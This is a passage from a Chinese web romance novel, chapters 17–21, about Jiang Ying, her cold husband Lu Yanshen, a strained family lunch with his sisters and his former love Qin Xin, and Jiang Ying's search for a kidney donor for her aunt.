那天她也去了云罗山?
想到这里,他拿起手机给杜宇打电话,“查一下上周四太太是不是去了云罗山?”
杜宇都没有犹豫,直接开个口,“上周四是您生日,太太每年都会去云罗山求平安符。”
见对方不说话,杜宇声音停顿了一瞬后,小声补充,“因为下雪,车子追尾司机被困在山上,第二天还请了假。哦,太太是自己下山的。”
听到这话,陆砚深神色怔住,难怪她这几天把他拉黑还赌气卖房,给台阶都不下,甚至连张启明的诉求都不顾。
那天江莹打电话前,张启明刚给她打过电话,想要参与他的新项目,被他拒绝后,江莹的电话一遍遍打进来,所以语气格外不好。
手被烟灰烫到,陆砚深后知后觉弹了弹烟灰。
挂了电话给江莹发消息:把我电话放出来,肾源有消息了。
江莹不用上班,昨晚受凌澈启发,画了一个仿宋的首饰盒,因为睡的晚,今天早上九点半才睡醒。
起来看到陆砚深第一条消息时,她撇嘴笑了笑,我去个锤子,哪次去了不是当背影板,都要离婚了还上赶着去听人数落吗?
江莹扔下手机去洗漱,收拾好边吃早饭,边刷手机,都是梁玥推给她的,要么搞笑,要么是帅哥直播。
生怕她因为离婚,情绪心情不好。
她看的正乐呵,陆砚深的消息又弹了出来,看到“肾源”两个字她瞬间放下了勺子。
这事她没跟陆砚深提过,张启明的贪婪已经让她在陆家没有尊严,她不想让自己的婚姻处处受制于利益。
私心想让陆砚深看重自己,对自己少一分嫌弃,所以她没有说。
不曾想他竟然知道她在找肾源。
而且还说有肾源的消息,短短几个字在江莹心里掀起巨浪。
手先于脑,她快速给陆砚深打电话,才想起来自己将人拉黑了。
想到这两天她做事不留余地,暗暗伤脑,买卖不成仁义在,毕竟三年夫妻,以后万一有用得着的地方呢?
权衡利弊之后,江莹抬手将某人的手机号从黑名单里放出来,然后厚着脸皮给他打电话。
电话响了好久,对方才接通,结果她刚要开口,那边就断线了。
一个“喂”字,音都没有发完。
江莹以为是他误碰到,又打了过去。
结果跟上次一样,刚接通就挂断。
反复四五次,江莹终于意识到陆砚深这家伙是故意的。
狗男人,报复心这么强!
江莹自然不可能放弃,舅妈的尿毒症透析越来越频繁,最近两个月她一直在跟医院沟通肾源。
陆砚深说有消息,这对她来说是天上掉金豆子一样的大好事。
于是她给陆砚深发消息:陆总,忙吗?
男人秒回:不忙。
江莹咬牙,不忙,有时间回消息,就是不愿跟她讲电话,这不就是报复她拉黑他的事。
秉着有求于人,态度要端正,江莹不跟他计较,直接装不懂。
江莹:既然陆总不忙,麻烦说一下肾源的事呗。
陆砚深回的很快,依旧简单:不想谈。
江莹咬牙,耐着性子谈条件:十一点半我自己去,不用麻烦你来接。
陆砚深再次回复两个字:可以。
江莹咬牙切齿,狗东西还端上了。
再次问:那肾源的事?
这次陆砚深半天没回话,就在江莹怀疑这狗东西是不是在耍她时,陆砚深打过来电话。
男人清润的嗓音缓缓传入耳中,“我在家,等下来接我,见面再说。”
江莹沉默一瞬,机会不能放弃,出声道:“好。”
心想这人还算有点良心,知道她找肾源,没有袖手旁观
她开口想说声谢,只是还没有张嘴,电话那头就传来一个熟悉的声音,“砚深。”
江莹一怔,突然自嘲的笑了,淡淡说了句,“十一点半,我在门口等你。”
说完直接挂断电话。
第17章 一眼望去,曲线诱人
从来没有被江莹挂过电话的男人,眉头瞬间拧了起来。
闹脾气,吃个醋,倒是让她长出息了。
身后温柔的女声音给陆砚深本就不爽的心情,增加了几分烦躁。
陆砚深转头淡淡看了她一眼,收起手机,语气有淡淡不悦,“你怎么来了?”
秦欣提着一个保温盒,嗓音轻轻柔柔,“我听说你没去公司,担心你身体不舒服,过来看看,给你带了养胃粥。”
陆砚深没动,声音染了几分警告,“不是跟你说过不要到我家里。”
秦欣心口一窒,立马红了眼眶,说话间都带了委屈,“我就是想着你帮轩轩圆了心愿,又帮我……”
她吸了吸鼻子,调整了情绪,脸上立马带了笑,“这几天你辛苦,看到你没事,我就放心了,粥你记得喝。”
陆砚深看她委屈又强压回去,一脸无辜的神色,吸了口气,淡淡道:“秦氏的危机已经解除,工作上再有问题,杜宇会协助你。”
秦欣点头,心里窃喜,他没有放弃不管,就有机会。
抢了江莹的设计,听说江莹已经几天没有去公司,还提交了辞职报告,不能功亏一篑。
“砚深谢谢你,这几年若不是有你在,估计我早活不下去。”
秦欣泛着涩的嗓音,让陆砚深心头的不悦少了几分。
“回去吧,杜宇会关注秦氏的项目,有什么问题跟他沟通。”
秦欣点头,乖巧地笑道:“嗯,放心,我以后不来了,不给你添麻烦。莹莹是不是因为我上次来不高兴了,我会跟她解释,不让她误会你。”
陆砚深接过她手中的保温盒,“不用,你照顾好自己跟孩子就行。”
秦欣抿唇,一脸清纯,“你已经给我安排好一切,我肯定会好好的。看你没事,我就放心了,不打扰你工作,记得喝粥。”
陆砚深点头,她无辜的样子,让他眸中的冷冽和烦躁之色渐消。
早餐不可口,看到秦欣带了粥,便想着喝点。
拿过保温饭盒,刚尝了一口,就皱起眉,“这么难喝?”
他拿着勺子翻搅两下,小米、山药、莲子、百合,一样的食材,为什么熬出来的粥竟然有这么大的区别?
自言自语完又抿了一口,眉头皱得更深,喝了这么多年的粥,这应该是最难以下咽的。
为什么江莹熬的粥一口下去,嘴里会有回甘?
想到那个还在跟他赌气的女人,陆砚深放下了勺子。
这时,杜宇打来电话。
陆砚深以为是工作上的事,直接接通,“怎么了?”
“陆总,昨天回来您给太太带的礼物还在车,您记得送给太太。”
陆砚深捏了捏眉心,被江莹气得都忘了这事。
四平城翡翠较多,江莹不喜金银这种黄白之物,唯独对寻翠情有独钟。
用她的话说,翡翠是大自然给予的美好,是岁月的沉淀。
在合作伙伴提议带他去自己的翡翠店看看时,陆砚深难得好说话地跟他走了一趟,于是就有了现在车里那个手镯。
见大老板不说话,杜宇隐晦地提醒,“您精心给太太挑选的,她看到一定会很开心,一高兴就什么都忘了。”
五百万的手镯,一套豪华大平城套在手上,杜宇看得眼都直了,只恨自己没有投个好胎。
陆砚深听出他言外之意,冷声道:“既然你这么闲,把这次合作的策划案做出来,明天我要看到可行性方案。”
杜宇心里叫苦,他就想当个好人,他做错什么?
若不是听项目经理说江莹提了离职,他也不会巴巴打电话。
宁拆十座庙,不拆一桩婚,更何况他也觉得老板这次做得有点过。
没想到好人没好报!
陆砚深挂了电话看了看,时间才十点半,在公司一直觉得时间不够用,为什么今天时间过这么慢?
果然在家办公效率就是低,到现在一份数据报表都没有看完。
江莹这会儿在挑衣服,这些年在陆氏她一直很低调,大多数时候穿搭都是偏职场化。
每次陆宁见到她都吐槽她审美不在线,眼光老气。当然陆君也不待见她,原因很简单,她不是她心中想要的弟媳妇。
或者说在她心里,江莹根本就配不上她弟弟,更不配进他们陆家。
江莹心想,都要离婚了,自己就展现一下美貌,就让她们看看她到底有没有审美。
姐不出手真当姐菜呢?
换上一套V领修身针织长裙,凹凸有致的好身材一览无余。
肤白貌美大长腿,胸前有沟壑,小腰一把掐,主打一个妖娆。
茶色的长真发,被她卷成大波浪,妆容明艳大气。
收拾好,江莹冲镜子里的自己抛了个媚眼,然后满意地笑了笑。
心说比美姐就没输过,只有陆砚深那个眼盲才会真假不分,不挑食。
秦欣那张脸,怕是只有嘴没有动过。
身上嘛,不好说。
江莹属于是美艳大气那一挂,不笑的时候给人感觉有点清冷,笑的时候眉眼弯弯,水汪汪的眸子整个人别具风情,偏偏嘴角有两个浅浅的梨涡,又显得特别清纯。
梁玥曾说,她是妖精,艳而不媚,媚而不妖,纯和欲在她身上毫不违和。
江莹对此毫不谦虚,因为从小到大她就是男人喜欢,女生嫉妒的存在。
十一点钟,江莹出门去接陆砚深。
到湖心公馆时,十一点二十五,停好车给狗男人打电话。
电话响了好几声才接通,江莹把他这种行为归结为拿乔。
“出来。”
陆砚深慢条斯理整理着自己的衣服,嗓音淡淡,“还挺准时,过家门而不入?”
江莹皱眉,“鸠占鹊巢还挺骄傲。”
陆砚深懒得接她这句废话,直接挂了电话出门。
每次吵架闹离家出走,都不超过三天,除去他出差这几天,今天也该回家了。
男人闲庭信步出门,看到江莹开着她那辆三十来万的宝马,一脸嫌弃。
家里那么多车,她就非开这么掉价的车。
拉开车门,迈着大长腿进去,熟悉的味道让他瞬间松弛了几分。
转眸看着驾驶座上的女人,神色微怔。
江莹从来没有画过浓妆,今天的妆容,虽然不是浓艳系,却无端给人一种娇媚感。
美的很有冲击性。
白皙纤长的手指握着方向盘,向来素净的指甲被她做成了藕粉色,甲片里像是桃花盛开一样。
又让人觉得沉静美好。
陆砚深凝视着她,视线落在她胸口,V型领口处瓷白细腻的肌肤若隐若现。
一眼望去,曲线诱人。
江莹睨了他一眼,“别一副狗见到骨头的样子,太掉价。”
第18章 压一压身上的俗气
女人张口一句话,让陆砚深收回视线。
原本有些紊乱的气息,瞬间平复。
这话是之前他说江莹的,没想到现在给他来了个回旋镖。
“舍得开八万块钱的酒,舍不得给自己买几件像样的衣服?”
江莹听到这话,以为是陆砚深嫌弃她的衣服不是大牌,没想搭理他。
结果狗男人就不该长嘴。
陆砚深转头看着车窗外,沉声道:“审美真差。”
江莹额角跳跳,他还嫌弃上了。
本着有求于人,她咬牙让自己语气尽量平稳,“是,陆总说得对,我不光审美不行,而且死心眼子一根筋。”
陆砚深转头看向她,勾唇轻笑,“对自己的认识挺到位。”
江莹抿唇,点头,“也是这几天才认清自己,人太死心眼不好。你看我之前,一天到晚围着你转,问你什么时候下班,想吃什么,喝酒了没,胃有没有不舒服。搞得你烦,我却沉浸其中自我感动,这不就是死心眼子吗?”
“自己过的两点一线,苦哈哈,都不知道外面的生活有多美好。你看沈斯阳那里的弟弟,一个个眉清目秀,能唱能跳,你想听什么人家说什么。关键是宽肩窄腰大长腿,漂亮的双开门,去一趟什么烦心事都没了。”
“所以,我以后不死心眼儿了,为了别人苦了自己不值当。”
陆砚深听的眼角直突突,原来在这儿等着他呢?
“不好好说话,你想知道的事也没有了。”
“就你那出息,看到长得好看,有腹肌的都走不动。”
想到自己有求于人,江莹磨了磨牙,暗暗后悔,怎么就没有忍住,狗男人不会真的不说吧?
“陆砚深,小心眼儿也不能拿这事威胁我吧?我舅妈等不了多久的。”
“这样,你帮我找到肾源,离婚我少要一个亿,你给我两亿就行。”
原本就不悦的人瞬间黑了脸,“不会说话就闭嘴。”
江莹咬牙,暗想:狗男人,这是进入了发情期,还是更年期,情绪这么暴躁。
为了肾源忍了。
两人再无话,到餐厅楼下停好车,陆砚深递过来一个锦盒。
“不用,你姐不喜欢我,送她什么都没用,要送你自己送。”
江莹以为狗东西不想被他姐叨叨,让她送礼物哄江君高兴。
“戴上,调和一下你身上的俗气,改善一下品味。”
江莹被气笑了,合着自己妆淡一点,穿的通勤一些被他姐、他妹嘲讽,打扮好看点他觉得俗气,什么话都让他们姓江的说了,真当自己是天王老子?
陆砚深见她不动,直接打开了盒子,里面的一抹蓝色瞬间吸引了江莹的视线。
她眨了眨眼睛,天空蓝,是她一直想要的颜色。
手镯静静躺在盒子里,犹如一汪清泉,盈盈泛着冷润的光。
江莹是个实在人,看到自己喜欢的东西,她很难控制自己的表情。
更难拒绝。
“客户送的,戴上压俗气。”
陆砚深看她两眼放光就知道她喜欢,漫不经心地拿出来,直接套在她手上。
瓷白细腻的肌肤间陡然增加这么一抹蓝色,更显得肌肤莹润如雪。
陆砚深盯着看了几秒,脸上清冷的神色,消减不少。
江莹看着自己腕间的那汪潭水,瞬间心情大好。
这样的东西给她再多,都不会嫌多。
江莹抬眸看男人也盯着她的手腕看,故意抬手在他眼前晃了晃,语气带着甜软,还有那么一点巴结的意味。
“陆总品味不错,确实把我身上的俗气冲淡了不少。”
陆砚深看着女人明眸皓齿,态度恢复如初,嘴角勾了勾,开门下车。
江莹心里藏不住的喜悦,心想:管他哪儿来的,薅羊毛的机会有就把握住,不要留给小三吗?
咬唇跟在狗男人身后,低头看着自己手腕上的镯子,嘴角禁不住扬起,美好的东西让人愉悦,她以后不会再傻,装清高。
既然结婚了,法律规定了婚后所得是夫妻共同财产,她为什么要傻乎乎不要。
她才不要做天下第一大傻子,男人靠不住,能靠的只有手里的钱。
手里有了钱,自己想保护的人就再也不用看别人脸色。
可惜,浪费了三年时间才明白这个道理。
两人进入餐厅,在服务生的带领下走到包间。
推门进来的时候,陆宁正在跟陆君说话,姐妹俩相差了十八岁,脸上却看不出很明显的年龄差。
陆君林念四十,身上有岁月积淀下来的韵味,骨子里都透着高贵的气质,陆宁则要稚嫩很多
“哥,你怎么才来,诺诺都饿了,大姐还非要等你。”
陆宁说话间睨了一眼江莹,原本不屑的眼神,瞬间瞪大了眼睛,目光在江莹身上停留。
江莹,平时穿衣都很保守,今天怎么这么妖娆。
白色的羊绒大衣里面的暮山紫针织裙,领口开得大,好身材一览无余,尤其是胸前显得特别有料。
她微微侧头去接陆砚深递过来的大衣外套,锁骨弯成两道清浅的月牙,衬得脖颈线条越发纤细修长。
就连陆君都觉得今天的江莹格外好看。
“舅舅,你都两周没有回去看我,我好想你。”
陆砚深走到她跟前揉了揉她的头,嗓音温柔,“舅舅最近比较忙,这周回去陪你玩儿。”
陆君的女儿诺诺,今天七岁,陆砚深很宠她,小姑娘也跟他很亲近。
看到他,就冲了过来,抱着他的腿撒娇。
江莹曾想陆砚深将来会是一个好父亲,他对诺诺很有耐心,冷清冷性的男人在抱着诺诺的时候,满眼慈爱。
事实证明她猜对了,陆砚深确实是个好父亲,云罗山上他敞开衣服把孩子裹进怀里的那个动作,充满父爱。
“诺诺,让舅舅坐下,别闹他。”
小姑娘不乐意地松手,撅着嘴在陆砚深身边坐好。
陆君提醒女儿后,转头看向江莹,“莹莹,跟服务生说一下,加份餐具。”
陆砚深的姐夫在分公司任职,跟陆君是大学同学。婚后陆君一直住在娘家,因为公司是陆砚深掌权,她几乎成了陆家的女主人。
每次跟陆砚深一起回老家,陆君都会使唤她做事。
就像现在,明明陆宁跟她做的位置距离包厢门距离一样,陆君开口就是叫她,而不是陆宁。
刚结婚那会儿,梁玥还说,她这婚结太赚了,不用伺候公婆,老公还是江北最顶尖的存在。
谁曾想,不用伺候公婆,却要伺候大姑姐。
江莹抿唇嗓音淡淡,“服务生,加副餐具。”
说完看向陆君,“大姐,喊一声就能听到。”
陆君脸上有些挂不住,再开口嗓音有了责备之意,“你跟砚深结婚时间不短了,该考虑要个孩子。”
说完端起水杯抿了一口,掀起眼皮看了眼江莹,眸子里看不上她的意味不加掩饰。
江莹刚想这次总算没有数落她衣品,听到她这话,心里冷笑,果然不喜欢你的人总能找到针对你的理由。
“你奶奶说找人弄了偏方,可以助孕,不要辜负了老人家的心愿。”
陆宁抿唇,笑容同样不屑,“对呀嫂子,你们家所有人都盯着你这个肚子呢,你奶奶一把岁数,提着刚煎好的药到老宅找大姐,叮嘱一定要让你吃了,保证能生儿子。”
江莹了然,难怪那天离开时老太太说有人会让她喝,原来是在这儿等着她。
“若是真能保证生儿子,我还真想喝,毕竟我生的是嫡长子,有名正言顺继承权。”江莹说着挑眉看向陆砚深,“是吧,老公。”
第19章 你演我也演
陆砚深对上她生动的眉眼,眼睛余光扫到锁骨下的沟壑,眸色深沉地握住她的手,转移话题,“还叫了谁?”
陆砚深开口问,陆宁笑着回答,“我叫了欣欣,她毕业回来我们也有好几个月没见了。”
陆宁跟秦欣在京市同一所大学,秦欣比陆宁大三岁,秦欣读研毕业,陆宁大四,两人关系向来要好。
陆砚深给了她一个眼神,也没说什么。
但听到秦欣两个字,江莹用力掐在陆砚深虎口上。
一阵吃痛,让陆砚深松手,转眸盯着江莹,眸色冷了几个度。
两人的动作没有逃过陆君的眼睛,“莹莹,女人心胸要放宽一点,要给自己男人足够的信任。”
这话是什么意思,江莹明白,就是点她不要争风吃醋。
陆宁撇嘴,“嫂子,欣欣姐人很好的,你可别给她脸色。”
江莹无语,一家人都这么喜欢秦欣,当初陆砚深怎么就不挣扎一下,答应了逼婚呢?
为了肾源,为了救舅妈,她忍了。
“大姐说得对,我应该像大姐学习,姐夫一直在分公司,一年都难得回来两次,可见大姐心胸宽广。”
“再说了,我为什么要给一个不熟悉的人脸色,除非这人她惦记我老公。”
江莹抿唇轻笑,笑容纯粹,人畜无害。
陆君和陆宁顿时一噎,没想到平时安静卑微的人,今天跟以往哪儿哪儿都不一样。
改变的不仅仅是妆容,还有她性情。
陆砚深抬手放在她大腿上,低声道:“少说两句,别顶撞大姐。”
江莹一把推开他的手,起身恭恭敬敬,“大姐,你喜欢红酒,我去给你开一瓶,刚好有朋友来,也该表示一下。”
她说着起身出了包间,离开时还不忘瞪了陆砚深一眼。
她出去交代完,再回来的时候,隔着门听到陆宁的声音,“哥,你说你当初为什么要同意娶她,她们家就是为了钱,当初给她奶奶点钱不就打发了。”
“爷爷的主意,奶奶都没有拦住。”陆君解释。
说完叹了口气,“真搞不懂老爷子心里怎么想的,你的妻子若是有实力有背景,何至于到现在三叔还处处为难你。”
陆砚深嗓音淡淡,“娶谁都无所谓。”
“怎么能无所谓,你跟欣欣姐……”
陆宁话没有说完,停住。不知道是被人制止了,还是她自己不忍心揭陆砚深伤疤。江莹心里更倾向于后者。
“你回头还是安排她去检查一下,三年了一点动静都没有,别是有什么毛病。”陆君提醒。
“对啊,她奶奶都上赶着送药了,该不会是只不会下蛋的鸡吧?她要是真生不了,要她还有什么用,一家累赘。”
诺诺笑嘻嘻道:“小姨,不会下蛋的是公鸡。”
屋里瞬间传来陆宁哈哈大笑声,只不过刚笑了两下就陡然停止。
江莹攥着门把手,特别想冲进去给他们每人一耳光,但想到陆砚深手里有肾源的消息,她强压着自己胸腔里翻涌的气血,转身去了洗手间。
她靠在卫生间的门板上缓了好一阵儿,陆砚深娶谁都无所谓,所以对她的喜怒哀乐就更无所谓。
反正是她自己贴上去的。
所以三年了,他对她的事漠不关心,甚至连她妈住在哪家疗养院都不清楚。
面对他人家的刁难、轻视,也可以无动于衷。
这就是他爱了多年的男人。
十分钟后,江莹情绪平复,返回包间。
走到门口就听到有笑声传了出来。
“诺诺好乖,你喜欢下次阿姨把这个系列的娃娃都跟你补齐。”
秦欣的声音很有辨识度,不是发嗲,但就是让人觉得她有撒娇的意味。
江莹深吸一口气,应付完大姑姐和小姑子,还要应付小婊咂,今天这顿饭酸甜苦辣咸,还加一味涩,六味俱全。
但只要能有肾源的消息,她也不是不能忍。
大不了,她也演。
你演我也演,大家一起演!
江莹推门进去,陆君嗔怪,“怎么去了这么久?”
她扯唇笑笑,“刚一个服务生不小心碰到我,酒洒到我手上,去洗了个手。”
说完故意抬了抬手,腕间那抹蓝色映着白皙的肌肤,更显明媚。
陆君之前偏爱宝石,什么鸽血红,红宝石、蓝宝石、粉钻等等应有尽有。
也或许是有的太多,这两年开始也开始喜欢翡翠。
看到江莹手上戴的手镯,移不开视线,忍不住夸了句:“镯子很漂亮。”
江莹笑着在陆砚深旁边坐下,“刚来的路上砚深给我戴上的,我也很喜欢。”
陆宁看她那个嘚瑟劲儿,白了她一眼,扫到秦欣脸上的失落,有些气不打一出来。
本来他嫂子应该是秦欣的。
秦欣眼里的失落一闪而过后,抿唇笑道:“莹莹好福气,砚深出差还不忘给你带礼物。”
陆宁眨眼看着她,“你怎么知道是我哥出差带回来的?”
“哦,四平城那边跟砚深合作的是我表哥,他是做矿的,他那里有很多翡翠。我自己不太喜欢翡翠,大姐、宁宁,你们要喜欢的话,我让表哥寄过来一些,到时候你们挑挑。”
江莹愣住,原来他说的客户是秦欣的表哥。
感情她满眼惊艳喜欢到不行的手镯是秦欣根本就看不上的。
而她还在这里炫耀。
“我也不喜欢,觉得老气,没有钻石闪耀。”陆宁附和,“我奶奶倒是挺喜欢的。”
这话什么意思,所有人都听得出来,无非就是说江莹是老太太的审美。
江莹睨了一眼秦欣,“但我老公喜欢,他说戴上这镯子,我身上的俗气少了,多了几分仙气。”
她说着挽住陆砚深的胳膊,半个身子贴上去,仰头看着他,眼波流转。
“老公,你非要我戴上,没有骗我吧?”
陆砚深偏头看她,视线在她精致的小脸上停留。
自从上周江莹跟他生气,两人一直处于冷战状态,她要么连名带姓叫他,要么叫他“陆总”。
现在趴在他胳膊上,娇滴滴叫他老公,让他有片刻恍惚。
尤其是眼睛余光扫见,她胸口瓷白的饱满,不觉喉间发干。
他喉结滚了滚,“嗯”一声转头。
看向陆宁,眸色冷了几分,“吃饭还堵不住你的嘴。”
陆宁噘嘴。
“砚深,你别怪宁宁,她就是心直口快。你这几天辛苦,都没有休息好,注意身体。尝尝这个杏仁炒虾,是你喜欢的味道。”
她笑容纯粹,好像刚刚的话题跟她没有任何关系。
说完又抬手给江莹夹了一个,“莹莹,你也尝一下,砚深就挺爱吃这个。”
江莹抿唇,把她放在自己盘子里的虾仁拨到一边,“不好意思,我对杏仁过敏。”
第20章 想让我在车里交作业
秦欣的脸色瞬间就白了,攥着手咬牙给江莹道歉:“对不起莹莹,我不知道你对杏仁过敏,砚深从来没有说过你的……。”
这话听得江莹冷笑,好像陆砚深跟他说过很多话,唯独从来不提跟她这个妻子相关的事。
江莹看她一眼,弯唇笑道:“我的喜好和口味儿说给你一个外人,没必要吧?”
这个女人若是真觉得对不起就应该有边界感,大家都知道她曾经跟陆砚深有过一段,不知道避嫌,还时不时凑上来,安的什么心,真当自己演技好,别人都看不出来。
“江莹,欣欣也是好心,你什么态度?”
嗬,还真有个看不出来的。
秦欣赶忙拉住陆宁的手,脸上红一阵白一阵,张张嘴尴尬之色掩不住,但最终还是点头笑道:“是,你说得对。”
陆君看江莹咄咄逼人,心里更加不喜,“莹莹,你的规矩都……”
她刚开口,正要训斥,陆砚深发声,“她确实杏仁过敏。”
说着将自己的盘子跟江莹换了一下,秦欣看着他自然而然的动作,眸色暗沉。
江莹心里有气,但不能在一个小三面前不能跌了份儿,更何况还指望陆砚深告诉她肾源的消息。
于是,笑眯眯加了块鱼,递到陆砚深嘴边,“老公,尝尝这个鱼,味道不错。”
陆砚深身形一顿,抬起眼皮看了她一眼。
江莹弯起眼睛,一脸乖巧。
小情人作妖,那就秀个恩爱给她看,看我气不死她。
陆砚深要是拒绝,那就是他不给面子,接下来也没有必要演下去,直接打脸开扇。
反正都要离婚了,谁还惯着他们。
正暗自得意,陆砚深缓缓凑了过来,张嘴含住那块儿鱼,唇瓣暧昧地噙住她的筷子将那块儿鱼含进嘴里。
在所有人错愕的眼神下,点头道:“嗯,确实不错。”
江莹挑眉,“你喜欢多吃点,别吃那个虾啊,万一让我沾染上杏仁,你还得送我去医院。”
所有人愣住,就连陆砚深自己瞳孔都睁大了几分,这个女人说的是什么意思,是他想的那个意思吗?
他吃了,她也会沾染上……
秦欣放在腿上的手,再次攥紧,掌心有清晰的痛感。
众人不语时,诺诺笑嘻嘻道:“舅舅好没羞,这么大了,还要舅妈喂。”
陆宁反应过来,不屑地嗤笑,“江莹,你要不要脸,当着孩子的面……”
她没有说完,被陆君制止,“吃饭,话那么多。”
“欣欣,你也吃,好久没有见你,瘦了好多。”
秦欣羞涩弯唇,“瘦点好看,以前有人说我太丰满,所以……”
话说到一半,她抬手捂挡住双唇,一脸娇羞,眼睛时不时扫向陆砚深。
江莹把她的小眼神全看在眼里,这个“有人”,除了陆砚深还能有谁。
说她太丰满,没看过没摸过怎么知道她太丰满?
一条脏狗!
一顿饭,江莹吃得没滋没味,全程就是一个字:装。
秦欣时不时看一眼陆砚深,乖巧中透着股委屈。
因为全程,男人都没有看她一眼。
临走,陆君让陆宁把准备好的药递给江莹,嘱咐道:“这是你奶奶特意准备的,别辜负了老人一番心意,一天两次按时吃。”
陆砚深心里有盘算,对此没有发表意见。
江莹看他没反应,抬手接过,“谢谢大姐!”
“我给你约了一个专家号,等会儿把信息发到你手机上,你去看看,若真是身体有问题,早点治疗。爷爷奶奶等着抱曾孙呢。”
江莹再次笑道:“好的,大姐。”
脸上的笑有些僵硬,她自己都觉得嘴角有些发麻。
“砚深,你上点心,爷爷看重子嗣,三叔那边正张罗给陆恒联姻,对方家里从政,若是成了想想你的处境。”
江莹心想怪不得这么上心她怀不怀孕,原来是为了帮陆砚深争取更多好处。
要说陆君这个大姐当得是真没的说,一心护着她这个弟弟。
扶上位还不放心,还全心全意替他守江山。
也是因为这一点,从结婚,江莹就特别尊重她。
陆砚深:“我心里有数,爷爷又不糊涂。”
“下周奶奶生日,我已经安排好,你不用操心,但别忘了准备礼物。”
“知道了。”
陆砚深眸色淡淡,拿了衣服出门。
江莹要走,被陆君拉住。
“江莹,既然一心想要嫁给砚深,融入豪门,那就做好你的本分。替砚深分忧,他考虑不到的事,你要考虑到。你妈住在疗养院,你爸把他的秘书带回了家,你觉得江氏和你那个倒插门的父亲,还会是你的依靠吗?掂量清楚,别总想着往娘家扒拉,你那个娘家靠不住。”
这话明显是提醒江莹不要总为了张启明占陆家的便宜。
江莹紧攥着手,手背上青筋凸起,自己所有的狼狈被人一再地拿来当教材一样耳提面命,偏偏没有反驳的余地。
“知道了,大姐。”
她淡淡应了一声,提着那一袋子黑乎乎的中药离开。
陆砚深看她将药放进后备箱,抬眸睨着她,“想生?”
江莹冷笑,“你觉得呢?”
陆砚深扯了下嘴角,突然朝她逼近。江莹下意识后退,但避无可避,后腰直接抵在车门上。
她被困在陆砚深和车子之间,四周都是他的味道,霸道又蛮横,跟他这个人一样。
“你干嘛?”
她抬手抵在陆砚深胸口,阻止他的靠近。
陆砚深视线落在她胸口,停留一瞬,然后缓缓上移,对上她的视线,声音低沉又有磁性。
“我想干嘛?我是想问问我的好太太大白天想干嘛?”
他抬手将江莹耳边的散发顺到耳后,微微倾身覆在她耳边,“刚刚那么暧昧,又是发嗲,又是喂菜,现在领口又扯这么低,你是想让我在车里交作业?”
江莹瞬间红了脸,演戏呢,他看不出来?
不是,谁给这个狗东西这么厚的脸皮,他妈生他时是吃了多少猪脚才能长这么厚。
她硬着头皮,笑道:“陆总,你想多了,我这不是为了维护你的面子,让你姐姐放心,演戏呢嘛?”
“我若是说我们要离婚,你那个大嘴巴妹妹还不得到处宣扬。到时候,你三叔肯定会拿这事做文章,爷爷那里你也不好交代。”
陆砚深轻笑,“是吗?那我还得谢谢你为我着想?”
“不客气,毕竟夫妻一场,你只要把肾源的消息告诉我,以后再有需要夫妻和睦的戏码,我还可以……”
话没有说完,江莹瞪大了眼睛,唇上一片温热的触感。
第21章 张嘴咬他
江莹大脑空白了一瞬,陆砚深从来没有在白天吻过她,尤其还是在外面。
他这个人一向冷淡,即便是在床上,也是江莹勾着他的时候居多。以往每次都是被江莹撩拨到不行的时候才会回应,深深印证了被迫娶她这个事实。
都说一个男人是下半身思考的动物,情动时会被欲望支配,但这种情况她从未在陆砚深身上看到过。
陆砚深从来没有对她有过强烈的欲望,所以江莹一直都知道,他不爱自己。
但他强烈而克制的爱,在秦欣身上看到过。
刚结婚那会,他生病,江莹衣不解带在他身边守了一个晚上,他做梦却拉着她的手落泪,“囡囡,别走,别丢下我。”
一开始她不知道陆砚深叫谁,后来才知道秦欣家里人都叫她囡囡。
还有上次在云罗山道上,陆砚深的紧张,抱着秦欣时颤抖用力的手,那种怕失去的珍视,依旧历历在目。
想到这里,江莹瞬间回神,他所有的触碰,都让她难以接受,甚至还有些反胃。
就在陆砚深在她口中探索时,江莹突然张嘴,狠狠咬了下去。
但陆砚深反应很快,在她张嘴时似乎就已经意识到她的不对劲儿,她的牙还没有落下,陆砚深的手已经捏住她的下巴。
手指陷在她上下牙之间,让她下不去嘴。
“还没闹够?”
男人低沉的嗓音泛着沙意,眉眼间不同以往的冷冽。
江莹看着眼前曾让她着迷的男人,怕自己不够坚定,移开视线,冷声道:“让我陪你吃饭,我已经做到,肾源的消息告诉我。”
陆砚深刚想说什么,手机响起,他掏出手机看了一眼,皱着眉头拉开车门示意江莹进去。
然后自己转身去接电话。
江莹看着男人挺拔的背影嘴角弯起一抹自嘲的笑。
来电显示上的名字她看到了——轩宝。
她为自己刚刚一时的意乱情迷感到羞耻,一段从根本溃烂的婚姻,养着情人和私生子的丈夫,她竟然还……
活该她不被重视,果然可怜之人必有可恨之处。
之所以可怜又可悲,都是自己犯贱换来的。
转头看了一眼接电话的男人,江莹拿着包独自离开。
刚没走两步,身后过来一辆车,冲她按喇叭。
看清车里的人,江莹原本阴郁的脸上,瞬间绽放一个笑脸。
“师哥,你什么时候回来的?”
“刚到。”宋瑾修视线停在她脸上,笑容温和,“上车,这么冷的天怎么一个人走在大街上?”
江莹心想幸好刚刚的一幕没有被师哥看到,要不然多尴尬。
陆砚深讲电话间听到车喇叭声回头,看到女人明媚的笑容,不觉来气。
跟别人有说有笑,在自己面前就像刺猬一样,竖着尖刺,随时都想扎他。
在看到江莹上了别人的车,陆砚深眸色冷了几分,挂了电话直接去公司。
宋瑾修开着车,勾唇看了一眼江莹,“去哪儿?”
江莹想了想,自己不用去上班,不如趁这个机会去看看老师,有师哥在,小老头应该也会好说话一些。
“师哥,你下午有空吗?”
“想去古坊斋?”
江莹看着宋瑾修点了点头,“你不是说老师那里有一个宋代的妆奁吗,我还挺感兴趣。”
“我刚回来,正好给自己放个假,正好也有段时间没有去看舅舅。”
宋瑾修脸上总挂着温和的笑,跟陆砚深的气质截然相反。
“既然师哥说了正好,那我就厚脸皮让你送我过去了。”
跟陆砚深结婚这三年,她可以跟宋瑾修保持距离,已经很久没有这么轻松地跟他说话。
一时间让宋瑾修有些恍惚。
反应一瞬后,他问:“莹莹,是不是遇到什么事了?”
其实,陆氏把项目给秦氏的事,他早就知道,而且也知道江莹是蓝湾项目的总设计。
江莹主动给他发消息,他就知道她一定是做了某种决定,要不然她不会主动给他发消息。
本来想从梁玥那里旁敲侧击一下,但以他对江莹的了解,又觉得当面问比较好。
江莹抿唇,“师哥消息真灵通,啥都瞒不住你。”
“不是我消息灵通,是我了解你。”
宋瑾修没有说头,但江莹已经知道他说着话什么意思。
两人都没有再继续这个话题,而是转到了逍遥楼的复原上。
